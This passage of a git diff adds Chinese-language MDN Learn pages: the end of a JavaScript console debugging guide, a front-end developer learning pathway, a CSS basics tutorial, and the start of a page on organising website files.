+<p>JavaScript控制台是一个非常有用的工具,用于调试没有按预期运行的JavaScript。它允许您针对浏览器当前加载的页面运行JavaScript行,并报告浏览器尝试执行代码时遇到的错误。要在任何浏览器中访问控制台,只需按控制台按钮。 (在Internet Explorer中,按Ctrl + 2.)这将给你一个如下所示的窗口:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9541/console.png" style="border: 1px solid black; display: block; height: 249px; margin: 0px auto; width: 821px;"></p> + +<p>要查看会发生什么,请尝试逐个输入以下代码片段(然后按Enter键):</p> + +<ol> + <li> + <pre class="brush: js notranslate">alert('hello!');</pre> + </li> + <li> + <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'purple';</pre> + </li> + <li> + <pre class="brush: js notranslate">var my_image = document.createElement('img'); + +//下面的url已经不再可用,这里注释掉,后面补上了一个可以url +//且myImage在文章开始给的“初学者示例网址”存在声明冲突,所以改为my_image +//myImage.setAttribute('src','https://farm4.staticflickr.com/3455/3372925208_e1f2aae4e3_b.jpg'); +my_image.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif'); + +document.querySelector('h1').appendChild(my_image);</pre> + </li> +</ol> + +<p>现在尝试输入以下错误的代码版本,看看你得到什么。</p> + +<ol> + <li> + <pre class="brush: js notranslate">alert('hello!);</pre> + </li> + <li> + <pre class="brush: js notranslate">document.cheeseSelector('html').style.backgroundColor = 'purple';</pre> + </li> + <li> + <pre class="brush: js notranslate">var my_Image = document.createElement('img'); +myBanana.setAttribute('src','https://media.giphy.com/media/3o6ozhxFlr4Ung40RG/giphy.gif'); +document.querySelector('h1').appendChild(my_Image);</pre> + </li> +</ol> + +<p>您将开始看到浏览器返回的错误类型。通常这些错误是相当神秘的,但是应该很简单的把这些问题解决出来!</p> + +<h3 id="了解更多_2">了解更多</h3> + +<p>了解更多JavaScript控制台在不同浏览器中的细节:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Firefox Web Console</a></li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255006%28v=vs.85%29.aspx">IE JavaScript console</a></li> + <li><a href="https://developer.chrome.com/devtools/docs/console">Chrome JavaScript Console</a> (Opera与它相同)</li> + <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1">Safari Console</a></li> +</ul> + +<h2 id="参见"> 参见</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a></li> +</ul> diff --git a/files/zh-cn/learn/front-end_web_developer/index.html b/files/zh-cn/learn/front-end_web_developer/index.html new file mode 100644 index 0000000000..870c0f9e4f --- /dev/null +++ b/files/zh-cn/learn/front-end_web_developer/index.html @@ -0,0 +1,197 @@ +--- +title: Front-end web developer +slug: learn/Front-end_web_developer +tags: + - CSS + - HTML + - Web 标准 + - 初学者 + - 前端 + - 工具 + - 教程 +translation_of: Learn/Front-end_web_developer +--- +<p>{{learnsidebar}}</p> + +<p>欢迎来到我们的 Web 前端开发者学习路线图!</p> + +<p>在这里我们会提供一个结构化的课程,教会你成为一名 Web 前端开发所需要了解的一切。通过学习每个章节,学到新技能(或者提升原有技能),就是这么简单。在每个章节,你将需要做练习并通过评估以确保你掌握了之后才能继续往后学习。</p> + +<h2 id="涵盖的主题">涵盖的主题</h2> + +<p>大致范围如下:</p> + +<ul> + <li>基础准备以及如何学习</li> + <li>Web 标准和最佳实践 (例如辅助功能和跨浏览器兼容)</li> + <li>HTML, 一门赋予网站内容结构和意义的语言</li> + <li>CSS, 一门美化网站页面的语言</li> + <li>JavaScript, 用来为网站创建动态功能的脚本语言</li> + <li>一些有助于现代化客户端 Web 开发的工具</li> +</ul> + +<p>这些章节是按照学习顺序而进行设计的,但是每个又相对独立。比如,如果你已经对 HTML 非常熟悉了,你大可放心地跳过这个章节直接学习 CSS。</p> + +<h2 id="预备知识">预备知识</h2> + +<p>开始学习这个课程你并不需要任何预备知识,你仅仅需要一台可以运行现代浏览器并且联网的电脑,以及一颗好学之心。</p> + +<p>如果你不清楚 Web 前端开发和自己的关系,或者在开始前需要有一个更通识的介绍,建议你开始之前先阅读一下 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web">Web 入门</a>。</p> + +<h2 id="获得帮助">获得帮助</h2> + +<p>我们尽量让 Web 前端开发学习尽可能的轻松一点,但是你仍然可能因为一些难以理解的点而被迫止步不前,或者某段代码就是不能像理解中的那样工作。</p> + +<p>无论是新手还是富有经验的开发者,我们常常会被卡住,但是不要慌。“<a href="/zh-CN/docs/Learn/Learning_and_getting_help">如何学习</a>”这个章节会给你一些关于如何查找信息和自行解决问题的有用的提示,如果仍然不行,大胆的在 <a href="https://discourse.mozilla.org/c/mdn/learn/">讨论区</a> 提出你的问题。</p> + +<p>让我们开始吧,祝你好运!</p> + +<h2 id="学习路线图">学习路线图</h2> + +<h3 id="启动">启动</h3> + +<p>学习用时: 1–2 小时</p> + +<h4 id="预备知识_2">预备知识</h4> + +<p>仅仅需要基础的电脑操作能力。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>这一课没有评估测试,但是请你不要跳过 — 这对于帮你准备好应对后面的练习和学习非常重要。</p> + +<h4 id="核心提示">核心提示</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a> (15 分钟)</li> + <li><a href="/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">Web 和 Web 标准的背景介绍</a> (45 分钟)</li> + <li><a href="/en-US/docs/Learn/Learning_and_getting_help">学习和获得帮助</a> (45 分钟)</li> +</ul> + +<h3 id="HTML_语义和结构">HTML 语义和结构</h3> + +<p>学习用时: 35–50 小时</p> + +<h4 id="预备知识_3">预备知识</h4> + +<p>基础的电脑操作能力和基本的 Web 开发环境。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_2">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>每个模块对于的评估练习都是针对测试你主题相关知识掌握能力设计的,完成了每个练习就表示你可以继续往后学习下一个模块了。</p> + +<h4 id="核心模块">核心模块</h4> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a> (15–20 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding">多媒体与嵌入</a> (15–20 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/HTML/Tables">HTML 表格</a> (5–10 小时阅读/练习)</li> +</ul> + +<h3 id="使用_CSS_布局和美化">使用 CSS 布局和美化</h3> + +<p>学习用时: 90–120 小时</p> + +<h4 id="预备知识_4">预备知识</h4> + +<p>学习 CSS 前需要有基础的 HTML 知识,请至少学习完 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a> 再开始。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_3">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>每个模块对于的评估练习都是针对测试你主题相关知识掌握能力设计的,完成了每个练习就表示你可以继续往后学习下一个模块了。</p> + +<h4 id="核心模块_2">核心模块</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps">学习 CSS 的第一步</a> (10–15 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks">编写 CSS</a> (35–45 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F">添加文本样式</a> (15–20 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout">CSS 布局</a> (30–40 小时阅读/练习)</li> +</ul> + +<h4 id="额外资源">额外资源</h4> + +<ul> + <li><a href="/en-US/docs/Web/CSS/Layout_cookbook">CSS 布局 cookbook</a></li> +</ul> + +<h3 id="使用_JavaScript_开发交互">使用 JavaScript 开发交互</h3> + +<p>学习用时: 135–185 小时</p> + +<h4 id="预备知识_5">预备知识</h4> + +<p>学习 CSS 前需要有基础的 HTML 知识,请至少学习完 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a> 再开始。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_4">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>每个模块对于的评估练习都是针对测试你主题相关知识掌握能力设计的,完成了每个练习就表示你可以继续往后学习下一个模块了。</p> + +<h4 id="核心模块_3">核心模块</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a> (30–40 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks">编写 JavaScript</a> (25–35 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs">客户端 Web API </a>(30–40 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript 对象入门</a> (25–35 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/learn/JavaScript/%E5%BC%82%E6%AD%A5">异步 JavaScript </a>(25–35 小时阅读/练习)</li> +</ul> + +<h3 id="Web_表单_—_处理用户数据">Web 表单 — 处理用户数据</h3> + +<p>学习用时: 40–50 小时</p> + +<h4 id="预备知识_6">预备知识</h4> + +<p>高效使用表单需要 HTML、CSS 和 JavaScript 知识,它们都很复杂因此已经在前面分章节学习了。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_5">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>每个模块对于的评估练习都是针对测试你主题相关知识掌握能力设计的,完成了每个练习就表示你可以继续往后学习下一个模块了。</p> + +<h4 id="核心模块_4">核心模块</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Forms">Web 表单</a> (40–50 小时)</li> +</ul> + +<h3 id="让所有人都能使用_Web">让所有人都能使用 Web</h3> + +<p>学习用时: 60–75 小时</p> + +<h4 id="预备知识_7">预备知识</h4> + +<p>学习本章前最好了解 HTML、CSS 和 JavaScript — 本章很多技术和最佳实践都需要用到它们。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_6">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>每个模块对于的评估练习都是针对测试你主题相关知识掌握能力设计的,完成了每个练习就表示你可以继续往后学习下一个模块了。</p> + +<h4 id="核心模块_5">核心模块</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing">跨浏览器测试</a> (25–30 小时阅读/练习)</li> + <li><a href="/zh-CN/docs/learn/Accessibility">可访问性(or 辅助功能)</a> (20–25 小时阅读/练习)</li> +</ul> + +<h3 id="现代工具">现代工具</h3> + +<p>学习用时: 55–90 小时</p> + +<h4 id="预备知识_8">预备知识</h4> + +<p>学习本章前最好了解 HTML、CSS 和 JavaScript — 本章很多技术和最佳实践都需要用到它们。</p> + +<h4 id="我怎么知道自己是否可以继续往下学习了_7">我怎么知道自己是否可以继续往下学习了?</h4> + +<p>本章节各模块没有评估测试, 但是第 2 章和第 3 章的学习教程应该能够让你很好的掌握现代工具的要义。</p> + +<h4 id="核心模块_6">核心模块</h4> + +<ul> + <li><a href="/zh-CN/docs/Learn/Tools_and_testing/GitHub">Git 和 GitHub</a> (5 hour read)</li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools">客户端 Web 开发工具入门 </a>(20–25 hour read)</li> + <li> + <p><a href="/zh-CN/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">客户端 JavaScript 开发框架入门</a> (30-60 hour read/exercises)</p> + </li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/css_basics/index.html b/files/zh-cn/learn/getting_started_with_the_web/css_basics/index.html new file mode 100644 index 0000000000..a8c8ff7d59 --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/css_basics/index.html @@ -0,0 +1,306 @@ +--- +title: CSS 基础 +slug: Learn/Getting_started_with_the_web/CSS_basics +tags: + - Web + - 初学者 + - 学习 + - 层叠样式表 + - 样式 +translation_of: Learn/Getting_started_with_the_web/CSS_basics +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>层叠样式表(<strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heet,简称:CSS)是为网页添加样式的代码。本节将介绍 CSS 的基础知识,并解答类似问题:怎样将文本设置为黑色或红色?怎样将内容显示在屏幕的特定位置?怎样用背景图片或颜色来装饰网页?</p> +</div> + +<h2 id="CSS_究竟什么来头?">CSS 究竟什么来头?</h2> + +<p>和 HTML 类似,CSS 也不是真正的编程语言,甚至不是标记语言。它是一门样式表语言,这也就是说人们可以用它来选择性地为 HTML 元素添加样式。举例来说,要选择一个 HTML 页面里<strong>所有</strong>的段落元素,然后将其中的文本改成红色,可以这样写 CSS:</p> + +<pre class="brush: css notranslate">p { + color: red; +}</pre> + +<p>不妨试一下:首先新建一个 <code>styles</code> 文件夹,在其中新建一个 <code>style.css</code> 文件,将这三行 CSS 保存在这个新文件中。</p> + +<p>然后再将该 CSS 文件连接至 HTML 文档,否则 CSS 代码不会对 HTML 文档在浏览器里的显示效果有任何影响。(如果你没有完成前几节的实践,请复习 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a> 和 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a>。)</p> + +<ol> + <li>打开 <code>index.html</code> 文件,然后将下面一行粘贴到文档头(也就是 <code><head></code> 和 <code></head></code> 标签之间)。 + + <pre class="brush: html notranslate"><link href="styles/style.css" rel="stylesheet"></pre> + </li> + <li>保存 <code>index.html</code> 并用浏览器将其打开。应该看到以下页面:</li> +</ol> + +<p><img alt="测试页面,文字设置为红色" src="https://mdn.mozillademos.org/files/16480/beginner-site-red.png">如果段落文字变红,那么祝贺你,你已经成功地迈出了 CSS 学习的第一步。</p> + +<h3 id="“CSS_规则集”详解">“CSS 规则集”详解</h3> + +<p>让我们来仔细看一看上述CSS:</p> + +<p><img alt="图解CSS声明" src="https://mdn.mozillademos.org/files/16483/css-declaration.png"></p> + +<p>整个结构称为 <strong>规则集</strong>(通常简称“规则”),各部分释义如下:</p> + +<dl> + <dt>选择器(<strong>Selector</strong>)</dt> + <dd>HTML 元素的名称位于规则集开始。它选择了一个或多个需要添加样式的元素(在这个例子中就是 <code>p</code> 元素)。要给不同元素添加样式只需要更改选择器就行了。</dd> + <dt>声明(<strong>Declaration</strong>)</dt> + <dd>一个单独的规则,如 <code>color: red;</code> 用来指定添加样式元素的<strong>属性</strong>。</dd> + <dt>属性(<strong>Properties</strong>)</dt> + <dd>改变 HTML 元素样式的途径。(本例中 <code>color</code> 就是 {{htmlelement("p")}} 元素的属性。)CSS 中,由编写人员决定修改哪个属性以改变规则。</dd> + <dt>属性的值(Property value)</dt> + <dd>在属性的右边,冒号后面即<strong>属性的值</strong>,它从指定属性的众多外观中选择一个值(我们除了 <code>red</code> 之外还有很多属性值可以用于 <code>color</code> )。</dd> +</dl> + +<p>注意其他重要的语法:</p> + +<ul> + <li>每个规则集(除了选择器的部分)都应该包含在成对的大括号里(<code>{}</code>)。</li> + <li>在每个声明里要用冒号(<code>:</code>)将属性与属性值分隔开。</li> + <li>在每个规则集里要用分号(<code>;</code>)将各个声明分隔开。</li> +</ul> + +<p>如果要同时修改多个属性,只需要将它们用分号隔开,就像这样:</p> + +<pre class="brush: css notranslate">p { + color: red; + width: 500px; + border: 1px solid black; +}</pre> + +<h3 id="多元素选择">多元素选择</h3> + +<p>也可以选择多种类型的元素并为它们添加一组相同的样式。将不同的选择器用逗号分开。例如:</p> + +<pre class="brush: css notranslate">p, li, h1 { + color: red; +}</pre> + +<h3 id="不同类型的选择器">不同类型的选择器</h3> + +<p>选择器有许多不同的类型。上面只介绍了<strong>元素选择器</strong>,用来选择 HTML 文档中给定的元素。但是选择操作可以更加具体。下面是一些常用的选择器类型:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器名称</th> + <th scope="col">选择的内容</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td>元素选择器(也称作标签或类型选择器)</td> + <td>所有指定(该)类型的 HTML 元素</td> + <td><code>p</code><br> + 选择 <code><p></code></td> + </tr> + <tr> + <td>ID 选择器</td> + <td>具有特定 ID 的元素(单一 HTML 页面中,每个 ID 只对应一个元素,一个元素只对应一个 ID)</td> + <td><code>#my-id</code><br> + 选择 <code><p id="my-id"></code> 或 <code><a id="my-id"></code></td> + </tr> + <tr> + <td>类选择器</td> + <td>具有特定类的元素(单一页面中,一个类可以有多个实例)</td> + <td><code>.my-class</code><br> + 选择 <code><p class="my-class"></code> 和 <code><a class="my-class"></code></td> + </tr> + <tr> + <td>属性选择器</td> + <td>拥有特定属性的元素</td> + <td><code>img[src]</code><br> + 选择 <code><img src="myimage.png"></code> 而不是 <code><img></code></td> + </tr> + <tr> + <td>伪(Pseudo)类选择器</td> + <td>特定状态下的特定元素(比如鼠标指针悬停)</td> + <td><code>a:hover</code><br> + 仅在鼠标指针悬停在链接上时选择 <code><a></code>。</td> + </tr> + </tbody> +</table> + +<p>选择器的种类远不止于此,更多信息请参阅 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Selectors">选择器</a>。</p> + +<h2 id="字体和文本">字体和文本</h2> + +<div class="blockIndicator note"> +<p>译注:再一次说明,中文字体文件较大,不适合直接用于 Web Font。</p> +</div> + +<p>在探索了一些 CSS 基础后,我们来把更多规则和信息添加至 <code>style.css</code> 中,从而让示例更美观。首先,让字体和文本变得更漂亮。</p> + +<ol> + <li>第一步,找到之前 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#字体">Google Font 输出的地址</a>。并以 {{htmlelement("link")}} 元素的形式添加进 <code>index.html</code> 文档头( {{HTMLElement("head")}} 和 <code></head></code> 之间的任意位置)。代码如下: + + <pre class="brush: html notranslate"> <link href="https://fonts.font.im/css?family=Open+Sans" rel="stylesheet" type="text/css"> </pre> + 以上代码为当前网页下载 Open Sans 字体,从而使自定义 CSS 中可以对 HTML 元素应用这个字体。</li> + <li>接下来,删除 <code>style.css</code> 文件中已有的规则。虽然测试是成功的了,但是红字看起来并不太舒服。</li> + <li> + <p>将下列代码添加到相应的位置,用你在 Google Fonts 找到的字体替代 <code>font-family</code> 中的占位行。( <code>font-family</code> 意味着你想要你的文本使用的字体。)这条规则首先为整个页面设定了一个全局字体和字号(因为 <code><html></code> 是整个页面的父元素,而且它所有的子元素都会继承相同的 <code>font-size</code> 和 <code>font-family</code>):</p> + + <pre class="brush: css notranslate">html { + /* px 表示 “像素(pixels)”: 基础字号为 10 像素 */ + font-size: 10px; + /* Google fonts 输出的 CSS */ + font-family: 'Open Sans', sans-serif; +}</pre> + + <div class="note"> + <p><strong>注:</strong>CSS 文档中所有位于 <code>/*</code> 和 <code>*/</code> 之间的内容都是 CSS 注释,它会被浏览器在渲染代码时忽略。你可以在这里写下对你现在要做的事情有帮助的笔记。</p> + </div> + + <div class="note"> + <p><strong>译注:</strong><code>/*</code><code>*/</code> 不可嵌套,<code>/*这样的注释是/*不行*/的*/</code>。CSS 不接受 <code>//</code> 注释。</p> + </div> + </li> + <li>接下来为文档体内的元素({{htmlelement("h1")}}、{{htmlelement("li")}} 和 {{htmlelement("p")}})设置字号。将标题居中显示,并为正文设置行高和字间距,从而提高页面的可读性。 + <pre class="brush: css notranslate">h1 { + font-size: 60px; + text-align: center; +} + +p, li { + font-size: 16px; + /* line-height 后而可以跟不同的参数,如果是数字,就是当前字体大小乘上数字 */ + line-height: 2; + letter-spacing: 1px; +}</pre> + </li> +</ol> + +<p>可以随时调整这些 <code>px</code><strong> </strong>值来获得满意的结果,以下是大体效果:</p> + +<p><img alt="测试页面,设置了文字间距和行间距等格式。" src="https://mdn.mozillademos.org/files/16481/beginner-site-text.png" style="display: block; margin: 0px auto;"></p> + +<h2 id="一切皆盒子">一切皆盒子</h2> + +<p>编写 CSS 时你会发现,你的工作好像是围绕着一个一个盒子展开的——设置尺寸、颜色、位置,等等。页面里大部分 HTML 元素都可以被看作若干层叠的盒子。</p> + +<p><img alt="a big stack of boxes or crates sat on top of one another" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; margin: 0px auto;"></p> + +<p>并不意外,CSS 布局主要就是基于盒模型的。每个占据页面空间的块都有这样的属性:</p> + +<ul> + <li><code>padding</code>:即内边距,围绕着内容(比如段落)的空间。</li> + <li><code>border</code>:即边框,紧接着内边距的线。</li> + <li><code>margin</code>:即外边距,围绕元素外部的空间。</li> +</ul> + +<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; margin: 0px auto;"></p> + +<p>这里还使用了:</p> + +<ul> + <li><code>width</code> :元素的宽度</li> + <li><code>background-color</code> :元素内容和内边距底下的颜色</li> + <li><code>color</code> :元素内容(通常是文本)的颜色</li> + <li><code>text-shadow</code> :为元素内的文本设置阴影</li> + <li><code>display</code> :设置元素的显示模式(暂略)</li> +</ul> + +<p>开始在页面中添加更多 CSS 吧!大胆将这些新规则都添加到页面的底部,而不要纠结改变属性值会带来什么结果。</p> + +<h3 id="更改页面颜色">更改页面颜色</h3> + +<pre class="brush: css notranslate">html { + background-color: #00539F; +}</pre> + +<p>这条规则将整个页面的背景颜色设置为 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">所计划的颜色</a>。</p> + +<h3 id="文档体格式设置">文档体格式设置</h3> + +<pre class="brush: css notranslate">body { + width: 600px; + margin: 0 auto; + background-color: #FF9500; + padding: 0 20px 20px 20px; + border: 5px solid black; +}</pre> + +<p>现在是 {{htmlelement("body")}} 元素。以上条声明,我们来逐条查看:</p> + +<ul> + <li><code>width: 600px;</code> —— 强制页面永远保持 600 像素宽。</li> + <li><code>margin: 0 auto;</code> —— 为 <code>margin</code> 或 <code>padding</code> 等属性设置两个值时,第一个值代表元素的上方<strong>和</strong>下方(在这个例子中设置为 <code>0</code>),而第二个值代表左边<strong>和</strong>右边(在这里,<code>auto</code><strong> </strong>是一个特殊的值,意思是水平方向上左右对称)。你也可以使用一个,三个或四个值,参考 <a href="/zh-CN/docs/Web/CSS/margin#取值">这里</a> 。</li> + <li><code>background-color: #FF9500;</code> —— 如前文所述,指定元素的背景颜色。我们给 body 用了一种略微偏红的橘色以与深蓝色的 {{htmlelement("html")}} <strong> </strong>元素形成反差,你也可以尝试其它颜色。</li> + <li><code>padding: 0 20px 20px 20px;</code> —— 我们给内边距设置了四个值来让内容四周产生一点空间。这一次我们不设置上方的内边距,设置右边,下方,左边的内边距为20像素。值以上、右、下、左的顺序排列。</li> + <li><code>border: 5px solid black;</code> —— 直接为 body 设置 5 像素的黑色实线边框。</li> +</ul> + +<h3 id="定位页面主标题并添加样式">定位页面主标题并添加样式</h3> + +<pre class="brush: css notranslate">h1 { + margin: 0; + padding: 20px 0; + color: #00539F; + text-shadow: 3px 3px 1px black; +}</pre> + +<p>你可能发现页面的顶部有一个难看的间隙,那是因为浏览器会在没有任何 CSS 的情况下<strong> </strong>给 {{htmlelement("h1")}} 等元素设置一些<strong>默认样式</strong>。但这并不是个好主意,因为我们希望一个没有任何样式的网页也有基本的可读性。为了去掉那个间隙,我们通过设置 <code>margin: 0;</code> 来覆盖默认样式。</p> + +<p>至此,我们已经把标题的上下内边距设置为 20 像素,并且将标题文本与 HTML<strong> </strong>的背景颜色设为一致。</p> + +<p>需要注意的是,这里使用了一个 <code>text-shadow</code> 属性,它可以为元素中的文本提供阴影。四个值含义如下:</p> + +<ul> + <li>第一个值设置<strong>水平偏移值 </strong>—— 即阴影右移的像素数(负值左移)。</li> + <li>第二个值设置<strong>垂直偏移值 </strong>—— 即阴影下移的像素数(负值上移)。</li> + <li>第三个值设置阴影的<strong>模糊半径 </strong>—— 值越大产生的阴影越模糊。</li> + <li>第四个值设置阴影的基色。</li> +</ul> + +<p>不妨尝试不同的值看看能得出什么结果。</p> + +<h3 id="图像居中">图像居中</h3> + +<pre class="brush: css notranslate">img { + display: block; + margin: 0 auto; +}</pre> + +<p>最后,我们把图像居中来使页面更美观。可以复用 body 的 <code>margin: 0 auto</code> ,但是需要一点点调整。 {{htmlelement("body")}} 元素是<strong>块级</strong>元素,意味着它占据了页面的空间并且能够赋予外边距和其他改变间距的值。而图片是<strong>内联</strong>元素,不具备块级元素的一些功能。所以为了使图像有外边距,我们必须使用 <code>display: block</code> 给予其块级行为。</p> + +<div class="note"> +<p><strong>注:</strong>以上说明假定所选图片小于页面宽度(600 pixels)。更大的图片会溢出 body 并占据页面的其他位置。要解决这个问题,可以:<br> + 1)使用 <a href="https://en.wikipedia.org/wiki/Raster_graphics_editor">图片编辑器</a> 来减小图片宽度;<br> + 2)用 CSS 限制图片大小,即减小 <code><img></code> 元素 {{cssxref("width")}} 属性的值(比如 <code>400 px</code>)。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>如果你暂时不能理解 <code>display: block</code> 和块级元素与行内元素的差别也没关系;随着你对 CSS 学习的深入,你将明白这个问题。<code>display</code> 属性的更多信息请查看 <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/display">参考页面</a> 。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>如果你按部就班完成本文的实践,那么最终可以得到以下页面(可以 <a href="https://roy-tian.github.io/learning-area/extras/getting-started-web/beginner-html-site-styled/">查看我们的版本</a>):</p> + +<p><img alt="测试页面,设置了标题、正文字体,图片居中,背景色、文字块颜色。" src="https://mdn.mozillademos.org/files/16482/beginner-site-styled.png"></p> + +<p>若遇到问题,可以参考 GitHub 上的 <a href="https://github.com/roy-tian/learning-area/tree/master/extras/getting-started-web/beginner-html-site-styled">完整示例代码</a> 做对比。</p> + +<p>本章介绍的 CSS 知识非常有限,更多内容请访问 <a href="/zh-CN/Learn/CSS">CSS学习页面</a>。</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站的外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 是如何运作的</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.html new file mode 100644 index 0000000000..7b982f4adf --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -0,0 +1,109 @@ +--- +title: 处理文件 +slug: Learn/Getting_started_with_the_web/Dealing_with_files +tags: + - HTML + - 初学者 + - 指南 + - 文件 + - 理论 + - 网站 +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>网站由文本、代码、样式表、媒体内容等多种文件组成。构建站点时要确保文件夹结构组织合理,文件之间交互畅通,没有明显错误,然后再<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Publishing_your_website">上传至服务器</a>。本节将讨论组织网站文件要注意的一些问题。</p> +</div> + +<h2 id="网站应该保存在何处?">网站应该保存在何处?</h2> + +<p>对于本地网站,应将所有相关文件放在一个单独文件夹中,可以映射出服务器端站点文件结构。文件夹存在哪儿都可以,只要容易找到,比如桌面、用户家目录,或是系统根目录。</p> + +<ol> + <li>确定网站项目储存位置。在该位置下创建一个文件夹(比如 <code>web-projects</code>)。所有网站项目都存在一处。</li> + <li>在这个文件夹里再新建一个文件夹(比如 <code>test-site</code>,读者可自由发挥想象),来存放第一个网站。</li> +</ol> + +<h2 id="关于大小写和空格的提示">关于大小写和空格的提示</h2> + +<p>你会注意到,文中所有的文件夹名和文件都使用小写字母,且没有空格。这是因为:</p> + +<ol> + <li>很多计算机,特别是 Web 服务器,是对大小写敏感的。比如,如果你保存一张图片 <code>test-site/MyImage.jpg</code>,然后在另一处试图以 <code>test-site/myimage.jpg</code> 访问这张图片,可能会失败。</li> + <li>浏览器、Web 